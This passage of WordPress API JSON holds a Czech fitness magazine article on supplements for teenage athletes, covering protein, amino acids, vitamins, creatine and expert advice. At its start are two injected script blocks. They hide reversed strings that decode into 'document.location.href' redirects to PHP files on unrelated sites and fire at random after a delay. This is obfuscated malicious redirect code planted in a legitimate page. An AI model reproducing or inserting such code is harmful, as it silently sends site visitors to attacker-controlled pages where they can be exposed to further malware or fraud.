$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed suplementy jako za dopln\u011bk klasick\u00e9 stravy, nikoliv za jej\u00ed nezbytnou sou\u010d\u00e1st.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Kter\u00fdm suplement\u016fm by se m\u011bl sportuj\u00edc\u00ed teenager vyhnout?<\/strong> <\/h2>\n\n\n\n<p>Zejm\u00e9na t\u011bm, jejich\u017e c\u00edlem je nav\u00fd\u0161en\u00ed produkce&#8230;.  Pokra\u010dov\u00e1n\u00ed \u010dl\u00e1nku v ti\u0161t\u011bn\u00e9 verzi \u010dasopisu SK 2\/22 , kterou zakoup\u00edte <a href=\"https:\/\/www.casopisyknihy.cz\/Svet-kulturistiky-2-2022-d1258.htm\">zde<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Je vhodn\u00e9 \u010di dokonce nutn\u00e9, aby dosp\u00edvaj\u00edc\u00ed sportovci u\u017e\u00edvali v\u00fd\u017eivov\u00e9 dopl\u0148ky? Pokud ano, kter\u00e9 vybrat a jak\u00fdm se naopak rad\u011bji vyhnout? &#8222;N\u00e1\u0161 \u010dtrn\u00e1ctilet\u00fd syn za\u010dal na podzim chodit do fitka. Hrozn\u011b ho to chytlo, cvi\u010d\u00ed opravdu pravideln\u011b, a i na jeho postav\u011b to za\u010d\u00edn\u00e1 b\u00fdt zn\u00e1t. Ned\u00e1vno za mnou p\u0159i\u0161el, jestli bych mu k&nbsp;bl\u00ed\u017e\u00edc\u00edm se narozenin\u00e1m koupila balen\u00ed proteinov\u00e9ho n\u00e1poje. S\u00e1m si toho o nejr\u016fzn\u011bj\u0161\u00edch produktech hodn\u011b na\u010detl, ale j\u00e1 si po\u0159\u00e1d kladu ot\u00e1zku, jestli mu to v&nbsp;jeho v\u011bku nem\u016f\u017ee n\u011bjak u\u0161kodit.&#8222; &#8222;Chci se zeptat, jak je to s&nbsp;u\u017e\u00edv\u00e1n\u00edm sportovn\u00ed v\u00fd\u017eivy u dosp\u00edvaj\u00edc\u00edch. Na\u0161emu Martinovi bude \u0161estn\u00e1ct, do posilovny se dostal v&nbsp;r\u00e1mci kompenza\u010dn\u00edch tr\u00e9nink\u016f fotbalu a r\u00e1d by&nbsp;silov\u00fdm sport\u016fm v\u011bnoval v\u00edc. Domluvili jsme mu p\u00e1r tr\u00e9nink\u016f s&nbsp;tren\u00e9rem, ten mu poradil i s&nbsp;j\u00eddeln\u00ed\u010dkem, ale kdy\u017e se bavili o v\u00fd\u017eivov\u00fdch dopl\u0148c\u00edch, \u0159ekl mu, \u017ee m\u016f\u017ee br\u00e1t v\u0161echno a v\u011bk ni\u010demu nevad\u00ed. To n\u00e1s trochu zarazilo. Opravdu tam nen\u00ed \u017e\u00e1dn\u00e9 v\u011bkov\u00e9 omezen\u00ed?&#8222; &#8222;Jak je to se v\u0161emi t\u011bmi proteinov\u00fdmi n\u00e1poji, gainery a \u201enakop\u00e1va\u010di\u201c u kluk\u016f ve v\u011bku kolem patn\u00e1cti? Syn se m\u011b sna\u017e\u00ed p\u0159emluvit, abychom mu nakoupili suplementy, \u017ee bez nich ty v\u00fdsledky nebudou takov\u00e9. Nem\u00e1m s&nbsp;t\u00edm v\u016fbec zku\u0161enosti, kdysi posiloval m\u016fj t\u00e1ta, ale ten vzpom\u00edn\u00e1, \u017ee tenkr\u00e1t jedli tvaroh a vaj\u00ed\u010dka ????. Jsou ty dne\u0161n\u00ed produkty vhodn\u00e9 i pro kluky v&nbsp;tomhle v\u011bku?&#8222; &#8222;Zjistila jsem, \u017ee mlad\u0161\u00ed syn (13) tajn\u011b u\u017e\u00edv\u00e1 n\u011bjakou sportovn\u00ed v\u00fd\u017eivu, co m\u00e1 nakoupenou jeho star\u0161\u00ed br\u00e1cha. Prvn\u00ed, co m\u011b napadlo, je, jestli mu to nem\u016f\u017ee ubl\u00ed\u017eit. Jde o n\u011bjak\u00fd proteinov\u00fd pr\u00e1\u0161ek a pak kreatin v&nbsp;kapsl\u00edch.&#8220; V&nbsp;posledn\u00ed dob\u011b n\u00e1m do redakce chod\u00ed \u0159ada dotaz\u016f se spole\u010dn\u00fdm jmenovatelem \u2013 SUPLEMENTACE U TEENAGER\u016e. Obrac\u00ed se na n\u00e1s jak sami sportovci, tak p\u0159edev\u0161\u00edm jejich rodi\u010de, pro n\u011b\u017e je tato problematika \u010dasto zcela nezn\u00e1m\u00e1. R\u00e1di by sv\u00fdm potomk\u016fm vytvo\u0159ili dobr\u00e9 podm\u00ednky pro tr\u00e9nink a svalov\u00fd rozvoj. Kdy\u017e ale teenager p\u0159ijde s&nbsp;t\u00edm, \u017ee by pot\u0159eboval nakoupit v\u00fd\u017eivov\u00e9 dopl\u0148ky, rodi\u010de obvykle zbyst\u0159\u00ed \u2013 a to zcela opr\u00e1vn\u011bn\u011b. Hledaj\u00ed odpov\u011b\u010f na ot\u00e1zku, zda je u\u017e\u00edv\u00e1n\u00ed takov\u00fdch produkt\u016f v&nbsp;tomto v\u011bku bezpe\u010dn\u00e9, do jak\u00e9 m\u00edry jsou suplementy nezbytn\u00e9 a pokud u\u017e maj\u00ed svoje pen\u00edze investovat, r\u00e1di by v\u011bd\u011bli, co z&nbsp;neuv\u011b\u0159iteln\u011b \u0161irok\u00e9 nab\u00eddky na na\u0161em trhu vlastn\u011b vybrat. N\u00e1sleduj\u00edc\u00ed \u0159\u00e1dky tedy nejsou ur\u010deny v\u00e1m, kte\u0159\u00ed tr\u00e9nujete \u0159adu let a s koncovkou \u201e-n\u00e1ct\u201c jste se p\u0159i ud\u00e1v\u00e1n\u00ed v\u011bku d\u00e1vno rozlou\u010dili. Nyn\u00ed p\u0159in\u00e1\u0161\u00edme odpov\u011bdi na nej\u010dast\u011bj\u0161\u00ed ot\u00e1zky za\u010d\u00ednaj\u00edc\u00edch mlad\u00fdch sportovc\u016f a jejich rodi\u010d\u016f. Co je suplement? Suplement \u2013 \u010desky \u201ev\u00fd\u017eivov\u00fd dopln\u011bk\u201c &#8211; je produkt, jeho\u017e \u00fakol spo\u010d\u00edv\u00e1 v DOPLN\u011aN\u00cd (tzn. nikoliv n\u00e1hrad\u011b) ur\u010dit\u00fdch \u017eivin, kter\u00e9 nejsou organismu poskytnuty v&nbsp;b\u011b\u017en\u00e9 strav\u011b v&nbsp;dostate\u010dn\u00fdch d\u00e1vk\u00e1ch. N\u00e1ro\u010dn\u00e9 tr\u00e9ninky kladou na t\u011blo sportovce velk\u00e9 n\u00e1roky, nen\u00ed tedy divu, \u017ee organismus v&nbsp;z\u00e1t\u011b\u017ei pot\u0159ebuje ur\u010dit\u00fdch \u017eivin v\u00edce ne\u017e t\u011blo nesportovce. Zv\u00fd\u0161en\u00e1 pot\u0159eba takov\u00fdch l\u00e1tek se pak t\u00fdk\u00e1 i dosp\u00edvaj\u00edc\u00edch sportovc\u016f. Zcela z\u00e1sadn\u00ed ale v\u017edy je, aby v\u00fd\u017eivov\u00fd produkt p\u0159in\u00e1\u0161el pozitivn\u00ed efekt a t\u011blu, kter\u00e9 je ve v\u00fdvinu, ne\u0161kodil. Mlad\u00ed sportovci a jejich rodi\u010de by se proto m\u011bli p\u0159i v\u00fdb\u011bru suplement\u016f v\u017edy dr\u017eet produkt\u016f kvalitn\u00edch a prov\u011b\u0159en\u00fdch. Tzn. takov\u00fdch, jejich\u017e slo\u017een\u00ed je pln\u011b v&nbsp;souladu s&nbsp;fungov\u00e1n\u00edm organismu sportovc\u016f t\u00e9to v\u011bkov\u00e9 skupiny. Sou\u010dasn\u011b plat\u00ed, \u017ee suplement nem\u016f\u017ee zastoupit vyv\u00e1\u017een\u00fd j\u00eddeln\u00ed\u010dek. Nejde v&nbsp;\u017e\u00e1dn\u00e9m p\u0159\u00edpad\u011b o z\u00e1zra\u010dn\u00fd produkt, d\u00edky n\u011bmu\u017e dos\u00e1hne super v\u00fdsledk\u016f i nad\u0161enec, kter\u00fd si d\u00e1 k&nbsp;ob\u011bdu fast food a ve\u010der velkou pizzu. Jakmile m\u00e1 ale sportovec sestaven\u00fd vhodn\u00fd cvi\u010debn\u00ed program a dodr\u017euje odpov\u00eddaj\u00edc\u00ed j\u00eddeln\u00ed\u010dek, mohou mu spr\u00e1vn\u011b zvolen\u00e9 suplementy pomoci dos\u00e1hnout kvalitn\u00edch v\u00fdsledk\u016f, proto\u017ee optimalizuj\u00ed p\u0159\u00edjem d\u016fle\u017eit\u00fdch \u017eivin. T\u00fdk\u00e1 se to p\u0159edev\u0161\u00edm: b\u00edlkovin + aminokyselin; vitamin\u016f a miner\u00e1l\u016f. Jak\u00e9 skupiny v\u00fd\u017eivov\u00fdch dopl\u0148k\u016f jsou vhodn\u00e9 pro teenagery? proteinov\u00e9 pr\u00e1\u0161ky; aminokyseliny; multivitaminy a miner\u00e1ly; kreatin. PROTEINOV\u00c9 PR\u00c1\u0160KY Proteiny (b\u00edlkoviny) jsou z\u00e1kladn\u00ed stavebn\u00ed bloky svalov\u00e9 tk\u00e1n\u011b. Tak, jako nepostav\u00edte d\u016fm bez cihel (\u010di jin\u00e9ho stavebn\u00edho materi\u00e1lu), nenaberete svalovou hmotu bez dostate\u010dn\u00e9ho p\u0159\u00edjmu b\u00edlkovin. T\u011blo dosp\u00edvaj\u00edc\u00edho sportovce nav\u00edc pot\u0159ebuje hodn\u011b b\u00edlkovin i vzhledem k&nbsp;p\u0159irozen\u00fdm r\u016fstov\u00fdm proces\u016fm, kter\u00e9 v&nbsp;tomto v\u011bku prob\u00edhaj\u00ed. K&nbsp;tomu pak mus\u00edte p\u0159ipo\u010d\u00edst n\u00e1roky vypl\u00fdvaj\u00edc\u00ed z&nbsp;tr\u00e9ninkov\u00e9 z\u00e1t\u011b\u017ee a snahy nabrat svaly. Ide\u00e1ln\u00ed by samoz\u0159ejm\u011b bylo pokr\u00fdt p\u0159\u00edjem b\u00edlkovin kvalitn\u00ed stravou (libov\u00e9 maso, ml\u00e9\u010dn\u00e9 v\u00fdrobky, vaj\u00ed\u010dka atd.), ale v&nbsp;praxi to mnohdy nen\u00ed mo\u017en\u00e9 i z&nbsp;toho d\u016fvodu, \u017ee by to znamenalo konzumaci velk\u00fdch porc\u00ed zmi\u0148ovan\u00fdch potravin, tzn. nemalou z\u00e1t\u011b\u017e pro tr\u00e1vic\u00ed syst\u00e9m. Sportovci (ty mlad\u00e9 nevyj\u00edmaje) tedy mohou \u010d\u00e1st denn\u00ed d\u00e1vky b\u00edlkovin pokr\u00fdt ve form\u011b proteinov\u00e9ho pr\u00e1\u0161ku, co\u017e je v&nbsp;podstat\u011b speci\u00e1ln\u011b upraven\u00e1 b\u00edlkovina (ml\u00e9\u010dn\u00e1, vaje\u010dn\u00e1, s\u00f3jov\u00e1 atd.). Podobn\u011b jako kojeneck\u00e9 ml\u00e9ko sv\u00fdm slo\u017een\u00edm uspokoj\u00ed n\u00e1roky miminka, proteinov\u00fd suplement sv\u00fdmi parametry a stravitelnost\u00ed vych\u00e1z\u00ed maxim\u00e1ln\u011b vst\u0159\u00edc tvrd\u011b tr\u00e9nuj\u00edc\u00edm sportovc\u016fm. AMINOKYSELINY Aminokyseliny jsou z\u00e1kladn\u00ed stavebn\u00ed jednotky protein\u016f. Rozli\u0161ujeme aminokyseliny neesenci\u00e1ln\u00ed (t\u011blo si je um\u00ed samo vytvo\u0159it) a esenci\u00e1ln\u00ed (mus\u00ed b\u00fdt p\u0159ij\u00edm\u00e1ny ve strav\u011b). Z&nbsp;esenci\u00e1ln\u00edch aminokyselin maj\u00ed zcela v\u00fdsadn\u00ed postaven\u00ed tzv. BCAA (aminokyseliny s&nbsp;rozv\u011btven\u00fdm \u0159et\u011bzcem: leucin, izoleucin a valin). Ty, pokud je u\u017e\u00edv\u00e1te ve form\u011b suplementu, jsou rychle vst\u0159ebateln\u00e9, tak\u017ee je t\u011blo m\u016f\u017ee sn\u00e1ze vyu\u017e\u00edt. Napom\u00e1haj\u00ed regeneraci a stimuluj\u00ed r\u016fst sval\u016f. MULTIVITAMINY A MINER\u00c1LY Organismus vystaven\u00fd jak\u00fdmkoliv n\u00e1ro\u010dn\u00fdm podm\u00ednk\u00e1m (tzn. jak t\u011blo teenagera ve v\u00fdvinu, tak sportovce v&nbsp;tvrd\u00e9m tr\u00e9ninku, p\u0159\u00edpadn\u011b pokud spl\u0148ujete oba tyto p\u0159edpoklady) pot\u0159ebuje v\u00edce vitamin\u016f a miner\u00e1l\u016f. Hrozba deficitu n\u011bkter\u00e9 z&nbsp;cenn\u00fdch v\u00fd\u017eivn\u00fdch l\u00e1tek tedy nen\u00ed v\u016fbec mal\u00e1. Nej\u010dast\u011bji se l\u00e9ka\u0159i u t\u00e9to v\u011bkov\u00e9 skupiny setk\u00e1vaj\u00ed s&nbsp;nedostatkem vitaminu D. Podle n\u011bkter\u00fdch studi\u00ed trp\u00ed deficitem tohoto vitaminu a\u017e \u010dtvrtina teenager\u016f.2 Hladinu vitaminu D zjist\u00edte jednodu\u0161e z&nbsp;krve. Toto vy\u0161et\u0159en\u00ed dnes nab\u00edz\u00ed cel\u00e1 \u0159ada pracovi\u0161\u0165 i pro samopl\u00e1tce, p\u0159i\u010dem\u017e cena se pohybuje kolem 500,- K\u010d. Z&nbsp;miner\u00e1l\u016f je na seznamu ohro\u017een\u00fdch druh\u016f jednozna\u010dn\u011b \u017eelezo.3 To chyb\u00ed zejm\u00e9na t\u011bm mlad\u00fdm lidem, kte\u0159\u00ed se vyh\u00fdbaj\u00ed konzumaci \u010derven\u00e9ho masa. N\u00e1chyln\u011bj\u0161\u00ed jsou k&nbsp;nedostatku \u017eeleza d\u00edvky, co\u017e je zp\u016fsobeno krevn\u00edmi ztr\u00e1tami b\u011bhem menstruace. D\u00e1le m\u00edvaj\u00ed dosp\u00edvaj\u00edc\u00ed pot\u00ed\u017ee s&nbsp;dosa\u017een\u00edm dostate\u010dn\u00e9ho p\u0159\u00edjmu zinku a v\u00e1pn\u00edku, p\u0159\u00edpadn\u011b vegani a vegetari\u00e1ni postr\u00e1daj\u00ed vitamin B12. Ide\u00e1ln\u00edm \u0159e\u0161en\u00edm by samoz\u0159ejm\u011b byla optimalizace j\u00eddeln\u00ed\u010dku, v&nbsp;n\u011bm\u017e by nem\u011bla chyb\u011bt vaj\u00ed\u010dka, ml\u00e9\u010dn\u00e9 produkty, ryby, libov\u00e9 maso, lu\u0161t\u011bniny ale tak\u00e9 dostatek \u010derstv\u00e9ho ovoce a zeleniny. &nbsp;K&nbsp;ide\u00e1lu m\u00e1 ov\u0161em stravovac\u00ed re\u017eim mnoha dosp\u00edvaj\u00edc\u00edch opravdu daleko. Ur\u010dit\u011b tedy d\u00e1v\u00e1 smysl p\u0159i n\u00e1kupu suplement\u016f myslet na kvalitn\u00ed multivitaminov\u00fd a miner\u00e1lov\u00fd produkt. KREATIN Kreatin je jednozna\u010dn\u011b nejl\u00e9pe prostudovan\u00fdm sportovn\u00edm suplementem. Jeho \u00fa\u010dinnost potvrdily des\u00edtky v\u011bdeck\u00fdch studi\u00ed, kter\u00e9 sou\u010dasn\u011b prokazuj\u00ed, \u017ee jde o l\u00e1tku zcela bezpe\u010dnou. Kreatin se v&nbsp;lidsk\u00e9m t\u011ble p\u0159irozen\u011b vyskytuje. Bohu\u017eel ze stravy (zdrojem kreatinu je p\u0159edev\u0161\u00edm maso) nevytvo\u0159\u00edte v t\u011ble takovou z\u00e1sobu, jako p\u0159i pou\u017eit\u00ed adekv\u00e1tn\u00ed d\u00e1vky suplementu. A nav\u00fd\u0161en\u00ed kreatinov\u00fdch rezerv rozhodn\u011b d\u00e1v\u00e1 smysl, proto\u017ee t\u00edm p\u0159\u00edzniv\u011b ovlivn\u00edte: &#8211; produkci energie (budete schopni tr\u00e9novat d\u00e9le a s&nbsp;vy\u0161\u0161\u00edm nasazen\u00edm), &nbsp; &#8211; n\u00e1r\u016fst svalov\u00e9 hmoty (kreatin podporuje budov\u00e1n\u00ed sval\u016f) i &#8211; odd\u00e1len\u00ed n\u00e1stupu \u00fanavy b\u011bhem tr\u00e9ninku. Samoz\u0159ejmost\u00ed by u v\u0161ech kategori\u00ed produkt\u016f m\u011blo b\u00fdt dodr\u017een\u00ed d\u00e1vkov\u00e1n\u00ed uveden\u00e9ho na etiket\u011b konkr\u00e9tn\u00edho produktu. SV\u011aT KULTURISTIKY A T\u00ddM EXPERT\u016e DOPORU\u010cUJ\u00cd: Zeptali jsme se odborn\u00edk\u016f, jak na problematiku suplementace dosp\u00edvaj\u00edc\u00edch sportovc\u016f nahl\u00ed\u017e\u00ed oni.. Zdrav\u00edm \u010dten\u00e1\u0159e SV\u011aTA KULTURISTIKY,suplementy jsou dopl\u0148ky stravy, a proto by nem\u011bly nahrazovat z\u00e1kladn\u00ed potraviny. Nejprve by m\u011bl sportovec m\u00edt p\u0159irozen\u00fdm zp\u016fsobem zvl\u00e1dnut\u00e9 v\u011bci, jako jsou strava, pitn\u00fd re\u017eim, tr\u00e9nink a regenerace p\u0159irozen\u00fdm zp\u016fsobem, a pak o n\u011bkolik procent t\u011blu pomoci pr\u00e1v\u011b suplementac\u00ed. U mlad\u00fdch lid\u00ed by to m\u011bly b\u00fdt v\u00fd\u017eivov\u00e9 dopl\u0148ky sp\u00ed\u0161e okrajov\u011bj\u0161\u00ed, jak z&nbsp;toho d\u016fvodu, \u017ee to opravdu nepot\u0159ebuj\u00ed s&nbsp;nejr\u016fzn\u011bj\u0161\u00edmi produkty v\u016fbec p\u0159eh\u00e1n\u011bt, tak z&nbsp;finan\u010dn\u00edho hlediska. J\u00e1 osobn\u011b bych v&nbsp;za\u010d\u00e1tc\u00edch cvi\u010den\u00ed doporu\u010dil kvalitn\u00ed proteinov\u00fd n\u00e1poj po tr\u00e9ninku, a je\u0161t\u011b jednou v&nbsp;pr\u016fb\u011bhu dne. Odleh\u010d\u00edme tak t\u00edm tr\u00e1ven\u00ed oproti vysok\u00fdm d\u00e1vk\u00e1m masa. Pokud t\u011blo u\u017e samotn\u00e9 nedok\u00e1\u017ee regenerovat, doporu\u010duji se poohl\u00e9dnout po kvalitn\u00edch aminokyselin\u00e1ch, a\u0165 u\u017e BCAA \u010di Glutamine. Nem\u011bla by chyb\u011bt ani z\u00e1kladn\u00ed vitaminov\u00e1 a miner\u00e1lov\u00e1 \u0161k\u00e1la \u2013 vitamin C, zinek, omega-3. \u010casto doporu\u010duji tak\u00e9 s\u00e1hnout po vitaminu D, kter\u00e9ho m\u00e1me nedostatek, nebo po ho\u0159\u010d\u00edku. A naopak s \u201ep\u0159ervan\u00fdmi\u201c nakop\u00e1va\u010di, spalova\u010di \u010di jin\u00fdmi produkty nap\u0159\u00edklad na podporu anabolismu bych byl opatrn\u011bj\u0161\u00ed. Co se t\u00fd\u010de dal\u0161\u00edch dopl\u0148k\u016f, jako jsou nap\u0159. proteinov\u00e9 ty\u010dinky, ara\u0161\u00eddov\u00e1 m\u00e1sla, lyofilizovan\u00e9 ovoce atd., tak up\u0159\u00edmn\u011b t\u011bchto v\u011bc\u00ed bych se v\u016fbec neb\u00e1l. V&nbsp;z\u00e1v\u011bru bych se r\u00e1d vr\u00e1til k&nbsp;tomu, co zazn\u011blo \u00favodem. Je d\u016fle\u017eit\u00e9 m\u00edt zvl\u00e1dnut\u00e9 v\u0161echny v\u011bci na 100 % a nespol\u00e9hat na to, \u017ee dopl\u0148ky to odmakaj\u00ed za m\u011b.&nbsp; M\u00edt spr\u00e1vn\u011b nastavenou hlavu a v\u0161e p\u016fjde tak, jak chceme. S&nbsp;pozdravem Filip \u0160teflovi\u010d (CHEVRON NUTRITION) Tom\u00e1\u0161 Novotn\u00fd, z&nbsp;tren\u00e9rsk\u00e9 \u0161koly OLYMPIA rad\u00ed\u2026U\u017e\u00edv\u00e1n\u00ed dopl\u0148k\u016f stravy v&nbsp;obdob\u00ed dosp\u00edv\u00e1n\u00ed je v&nbsp;dne\u0161n\u00ed dob\u011b \u017eiv\u00e9 t\u00e9ma. Jedni doporu\u010duj\u00ed se suplement\u016fm zcela vyh\u00fdbat, druz\u00ed je pova\u017euj\u00ed za samoz\u0159ejmost. O \u010dem u\u017e se ale tolik nemluv\u00ed, je pestr\u00e1 a vyv\u00e1\u017een\u00e1 strava v&nbsp;dostate\u010dn\u00e9m mno\u017estv\u00ed. Ta toti\u017e dosp\u00edvaj\u00edc\u00edm sportovc\u016fm m\u016f\u017ee pomoci mnohem v\u00edce ne\u017e za\u0159azen\u00ed prakticky jak\u00e9hokoliv dopl\u0148ku stravy. Pakli\u017ee se strava teenagera \u0159\u00edd\u00ed z\u00e1kladn\u00edmi principy pestr\u00e9 a vyv\u00e1\u017een\u00e9 v\u00fd\u017eivy, je mo\u017en\u00e9 uva\u017eovat o dopl\u0148c\u00edch stravy. Pozornost mlad\u00fdch sportovc\u016f by m\u011bla sm\u011b\u0159ovat prim\u00e1rn\u011b ke kvalitn\u00edm vitamin\u016fm a miner\u00e1ln\u00edm l\u00e1tk\u00e1m, kter\u00e9 mohou b\u00fdt u\u017eite\u010dn\u00e9 zvl\u00e1\u0161\u0165 p\u0159i zv\u00fd\u0161en\u00e9 fyzick\u00e9 z\u00e1t\u011b\u017ei. Pokud teenage\u0159i absolvuj\u00ed n\u00e1ro\u010dn\u00e9 sportovn\u00ed tr\u00e9ninky, je mo\u017en\u00e9 zv\u00e1\u017eit u\u017e\u00edv\u00e1n\u00ed proteinov\u00e9ho n\u00e1poje nebo kvalitn\u011b sestaven\u00e9ho gaineru, kter\u00fd pom\u016f\u017ee mlad\u00fdm sportovc\u016fm doplnit \u017eiviny po n\u00e1ro\u010dn\u00fdch tr\u00e9ninc\u00edch. V&nbsp;ka\u017ed\u00e9m p\u0159\u00edpad\u011b je vhodn\u00e9 pova\u017eovat sportovn\u00ed suplementy jako za dopln\u011bk klasick\u00e9 stravy, nikoliv za jej\u00ed nezbytnou sou\u010d\u00e1st. Kter\u00fdm suplement\u016fm by se m\u011bl sportuj\u00edc\u00ed teenager vyhnout? Zejm\u00e9na t\u011bm, jejich\u017e c\u00edlem je nav\u00fd\u0161en\u00ed produkce&#8230;. Pokra\u010dov\u00e1n\u00ed \u010dl\u00e1nku v ti\u0161t\u011bn\u00e9 verzi \u010dasopisu SK 2\/22 , kterou zakoup\u00edte zde<\/p>\n","protected":false},"author":2,"featured_media":648,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-647","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/647","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=647"}],"version-history":[{"count":42,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/647\/revisions"}],"predecessor-version":[{"id":692,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/647\/revisions\/692"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/648"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=647"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=647"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=647"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}